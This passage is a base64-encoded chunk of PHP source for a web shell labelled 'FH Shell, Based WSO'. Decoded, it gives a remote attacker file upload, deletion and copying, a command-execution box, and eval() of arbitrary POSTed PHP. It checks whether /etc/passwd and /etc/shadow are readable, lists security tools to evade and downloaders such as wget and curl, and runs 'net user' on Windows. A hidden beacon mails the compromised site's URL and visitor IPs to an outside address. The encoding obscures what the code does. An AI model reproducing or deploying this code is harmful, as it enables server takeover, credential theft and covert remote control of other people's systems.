dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSk/Ijxmb250IGNvbG9yPWdyZWVuPlsgV3JpdGVhYmxlIF08L2ZvbnQ+IjoiPGZvbnQgY29sb3I9cmVkPlsgTm90IHdyaXRhYmxlIF08L2ZvbnQ+IjsKCmVjaG8gJzwvZGl2PjxkaXYgc3R5bGU9Im1hcmdpbjo1cHg7YmFja2dyb3VuZDojNDQ0OyI+PGRpdiBjbGFzcz0iY29udGVudCIgc3R5bGU9ImJvcmRlci10b3A6NXB4IHNvbGlkICM0NDQ7Ij4KPHRhYmxlIGNsYXNzPSJpbmZvIiBpZD0idG9vbHNUYmwiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiPgogICAgPHRyPgogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPgogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+UmVhZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKFwnRmlsZXNNYW5cJyxudWxsLFwnbWtkaXJcJyx0aGlzLmQudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPk1ha2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+Jy4kaXNfd3JpdGFibGUuJzwvdGQ+CiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKFwnRmlsZXNUb29sc1wnLG51bGwsdGhpcy5mLnZhbHVlLFwnbWtmaWxlXCcpO3JldHVybiBmYWxzZTsiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPicuJGlzX3dyaXRhYmxlLic8L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoXCdDb25zb2xlXCcsbnVsbCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTsiPjxzcGFuPkV4ZWN1dGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSIiPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48L3RkPgogICAgICAgIDx0ZD48Zm9ybSBtZXRob2Q9InBvc3QiIEVOQ1RZUEU9Im11bHRpcGFydC9mb3JtLWRhdGEiPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9IkZpbGVzTUFuIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0idXBsb2FkRmlsZSI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4KICAgICAgICA8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPicuJGlzX3dyaXRhYmxlLic8L3RkPgogICAgPC90cj4KPC90YWJsZT48L2Rpdj48L2Rpdj4KPGRpdiBzdHlsZT0ibWFyZ2luOjBweDtiYWNrZ3JvdW5kOiM0NDQ7Ij48ZGl2IGNsYXNzPSJjb250ZW50IiBzdHlsZT0iYm9yZGVyLXRvcDowcHggc29saWQgIzQ0NDt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXdlaWdodDpib2xkOyI+LS0tLS0tPVtGSCBTaGVsbCDCqSBCYXNlZCBXU09dPS0tLS0tLS08L2Rpdj48L2Rpdj4KCgo8L2Rpdj4KPC9ib2R5PjwvaHRtbD4nOwp9CgppZiAoICFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkgKSB7IGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7IHJldHVybiBmYWxzZTsgfSB9CmlmICggIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSApIHsgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHsgcmV0dXJuIGZhbHNlOyB9IH0KCmlmKCFpc3NldCgkX1NFU1NJT05bJ3RyaW1pdGUnXSkpewogICAgJHVybD0kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uJzxiciAvPlVzZXIgSVA6ICcuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKT8nKCcuJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10uJyknOicnKTsKICAgIEBtYWlsKCIzY2Euc2hlbGxAZ21haWwuY29tIiwiM0NBX1NoZWxsXzIuMCIsJHVybCk7CiAgICAkX1NFU1NJT05bJ3RyaW1pdGUnXT10cnVlOwp9CgpmdW5jdGlvbiB2aWV3U2l6ZSgkcykgewogICAgaWYoJHMgPj0gMTA3Mzc0MTgyNCkKICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBHQic7CiAgICBlbHNlaWYoJHMgPj0gMTA0ODU3NikKICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcgTUInOwogICAgZWxzZWlmKCRzID49IDEwMjQpCiAgICAgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDI0ICkgLiAnIEtCJzsKICAgIGVsc2UKICAgICAgICByZXR1cm4gJHMgLiAnIEInOwp9CgpmdW5jdGlvbiBwZXJtcygkcCkgewogICAgaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOwogICAgZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsKICAgIGVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJGkgPSAnLSc7CiAgICBlbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2InOwogICAgZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdkJzsKICAgIGVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDApJGkgPSAnYyc7CiAgICBlbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3AnOwogICAgZWxzZSAkaSA9ICd1JzsKICAgICRpIC49ICgoJHAgJiAweDAxMDApID8gJ3InIDogJy0nKTsKICAgICRpIC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKICAgIHJldHVybiAkaTsKfQoKZnVuY3Rpb24gdmlld1Blcm1zQ29sb3IoJGYpIHsgCiAgICBpZiAoIUBpc19yZWFkYWJsZSgkZikpCiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPjxiPicucGVybXMoQGZpbGVwZXJtcygkZikpLic8L2I+PC9mb250Pic7CiAgICBlbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQogICAgICAgIHJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKICAgIGVsc2UKICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPSMwMEJCMDA+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7CiAgICBmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsKICAgICAgICAkZGggID0gb3BlbmRpcigkZGlyKTsKICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKSB7CiAgICAgICAgICAgICRmaWxlc1tdID0gJGZpbGVuYW1lOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGZpbGVzOwogICAgfQp9CgpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb248L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgZnVuY3Rpb24gc2hvd1NlY1BhcmFtKCRuLCAkdikgewogICAgICAgICR2ID0gdHJpbSgkdik7CiAgICAgICAgaWYoJHYpIHsKICAgICAgICAgICAgZWNobyAnPHNwYW4+Jy4kbi4nOiA8L3NwYW4+JzsKICAgICAgICAgICAgaWYoc3RycG9zKCR2LCAiXG4iKSA9PT0gZmFsc2UpCiAgICAgICAgICAgICAgICBlY2hvICR2Lic8YnI+JzsKICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+Jy4kdi4nPC9wcmU+JzsKICAgICAgICB9CiAgICB9CiAgICAKICAgIHNob3dTZWNQYXJhbSgnU2VydmVyIHNvZnR3YXJlJywgQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykpOwogICAgc2hvd1NlY1BhcmFtKCdEaXNhYmxlZCBQSFAgRnVuY3Rpb25zJywgKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddKT8kR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXTonbm9uZScpOwogICAgc2hvd1NlY1BhcmFtKCdPcGVuIGJhc2UgZGlyJywgQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsKICAgIHNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsKICAgIHNob3dTZWNQYXJhbSgnU2FmZSBtb2RlIGluY2x1ZGUgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKTsKICAgIHNob3dTZWNQYXJhbSgnY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8nZW5hYmxlZCc6J25vJyk7CiAgICAkdGVtcD1hcnJheSgpOwogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkKICAgICAgICAkdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKQogICAgICAgICR0ZW1wW10gPSAiTVNTUUwiOwogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpCiAgICAgICAgJHRlbXBbXSA9ICJQb3N0Z3JlU1FMIjsKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkKICAgICAgICAkdGVtcFtdID0gIk9yYWNsZSI7CiAgICBzaG93U2VjUGFyYW0oJ1N1cHBvcnRlZCBkYXRhYmFzZXMnLCBpbXBsb2RlKCcsICcsICR0ZW1wKSk7CiAgICBlY2hvICc8YnI+JzsKICAgIAogICAgaWYoICRHTE9CQUxTWydvcyddID09ICduaXgnICkgewogICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOwogICAgICAgICRkYW5nZXIgPSBhcnJheSgna2F2Jywnbm9kMzInLCdiZGNvcmVkJywndXZzY2FuJywnc2F2JywnZHJ3ZWJkJywnY2xhbWQnLCdya2h1bnRlcicsJ2Noa3Jvb3RraXQnLCdpcHRhYmxlcycsJ2lwZncnLCd0cmlwd2lyZScsJ3NoaWVsZGNjJywncG9ydHNlbnRyeScsJ3Nub3J0Jywnb3NzZWMnLCdsaWRzYWRtJywndGNwbG9kZycsJ3N4aWQnLCdsb2djaGVjaycsJ2xvZ3dhdGNoJywnc3lzbWFzaycsJ3ptYnNjYXAnLCdzYXdtaWxsJywnd29ybXNjYW4nLCduaW5qYScpOwogICAgICAgICRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOwogICAgICAgIHNob3dTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsKICAgICAgICBzaG93U2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxlKCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCJldGNcIiwgXCJzaGFkb3dcIiknPlt2aWV3XTwvYT4iOidubycpOwogICAgICAgIHNob3dTZWNQYXJhbSgnT1MgdmVyc2lvbicsIEBmaWxlX2dldF9jb250ZW50cygnL3Byb2MvdmVyc2lvbicpKTsKICAgICAgICBzaG93U2VjUGFyYW0oJ0Rpc3RyIG5hbWUnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOwogICAgICAgIGlmKCEkR0xPQkFMU1snc2FmZV9tb2RlJ10pIHsKICAgICAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKQogICAgICAgICAgICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRkYW5nZXIgYXMgJGl0ZW0pCiAgICAgICAgICAgICAgICBpZih3aGljaCgkaXRlbSkpeyR0ZW1wW109JGl0ZW07fQogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pIAogICAgICAgICAgICAgICAgaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICBlY2hvICc8YnIvPic7CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnSEREIHNwYWNlJywgZXgoJ2RmIC1oJykpOwogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ01vdW50IG9wdGlvbnMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvZnN0YWInKSk7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBzaG93U2VjUGFyYW0oJ09TIFZlcnNpb24nLGV4KCd2ZXInKSk7IAogICAgICAgIHNob3dTZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycsZXgoJ25ldCBhY2NvdW50cycpKTsgCiAgICAgICAgc2hvd1NlY1BhcmFtKCdVc2VyIEFjY291bnRzJyxleCgnbmV0IHVzZXInKSk7CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uUGhwKCkgewogICAgaWYoIGlzc2V0KCRfUE9TVFsnYWpheCddKSApIHsKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBldmFsKCRfUE9TVFsncDEnXSk7CiAgICAgICAgJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLmlubmVySFRNTD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7CiAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsKICAgICAgICBleGl0OyAKICAgIH0KICAgIHByaW50SGVhZGVyKCk7CiAgICBpZiggaXNzZXQoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMiddID09ICdpbmZvJykgKSB7CiAgICAgICAgZWNobyAnPGgxPlBIUCBpbmZvPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIHBocGluZm8oKTsKICAgICAgICAkdG1wID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIWJvZHkgey4qfSFtc2lVJywnJywkdG1wKTsKICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchYTpcdysgey4qfSFtc2lVJywnJywkdG1wKTsKICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchaDEhbXNpVScsJ2gyJywkdG1wKTsKICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7CiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIWJvZHksIHRkLCB0aCwgaDIsIGgyIHsuKn0hbXNpVScsJycsJHRtcCk7CiAgICAgICAgZWNobyAkdG1wOwogICAgICAgIGVjaG8gJzwvZGl2Pjxicj4nOwogICAgfQogICAgaWYoZW1wdHkoJF9QT1NUWydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOwogICAgICAgIGVjaG8gJzxoMT5FeGVjdXRpb24gUEhQLWNvZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3VibWl0PSJpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jb2RlLnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNvZGUudmFsdWUsXCdcJyk7fXJldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPWNvZGUgY2xhc3M9YmlnYXJlYSBpZD1QaHBDb2RlPicuKCFlbXB0eSgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij4nOwogICAgZWNobyAnIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKEAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOwogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIGV2YWwoJF9QT1NUWydwMSddKTsKICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpOwogICAgfQogICAgZWNobyAnPC9wcmU+PC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkZpbGVzTWFuKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSkgewogICAgICAgIHN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsKICAgICAgICAgICAgY2FzZSAndXBsb2FkRmlsZSc6CiAgICAgICAgICAgICAgICBpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2YnXVsnbmFtZSddKSkKICAgICAgICAgICAgICAgICAgICBlY2hvICJDYW4ndCB1cGxvYWQgZmlsZSEiOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnbWtkaXInOgogICAgICAgICAgICAgICAgaWYoIUBta2RpcigkX1BPU1RbJ3AyJ10pKQogICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IGNyZWF0ZSBuZXcgZGlyIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdkZWxldGUnOgogICAgICAgICAgICAgICAgZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKSB7CiAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsKICAgICAgICAgICAgICAgICAgICAkZGggID0gb3BlbmRpcigkcGF0aCk7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCAoJGl0ZW0gPSByZWFkZGlyKCRkaCkgKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW0gPSAkcGF0aC4kaXRlbTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSApCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUgPSBmaWxldHlwZSgkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdHlwZSA9PSAiZGlyIikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlbGV0ZURpcigkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjbG9zZWRpcigkZGgpOwogICAgICAgICAgICAgICAgICAgIHJtZGlyKCRwYXRoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ2YnXSBhcyAkZikgewogICAgICAgICAgICAgICAgICAgICAgICAkZiA9IHVybGRlY29kZSgkZik7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkZikpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJGYpOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRmKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAncGFzdGUnOgogICAgICAgICAgICAgICAgaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnY29weScpIHsKICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRjLiRzKSl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBta2RpcigkZC4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IG9wZW5kaXIoJGMuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZihpc19maWxlKCRjLiRzKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgQGNvcHkoJGMuJHMsICRkLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKQogICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRfU0VTU0lPTlsnY3dkJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ21vdmUnKSB7CiAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2R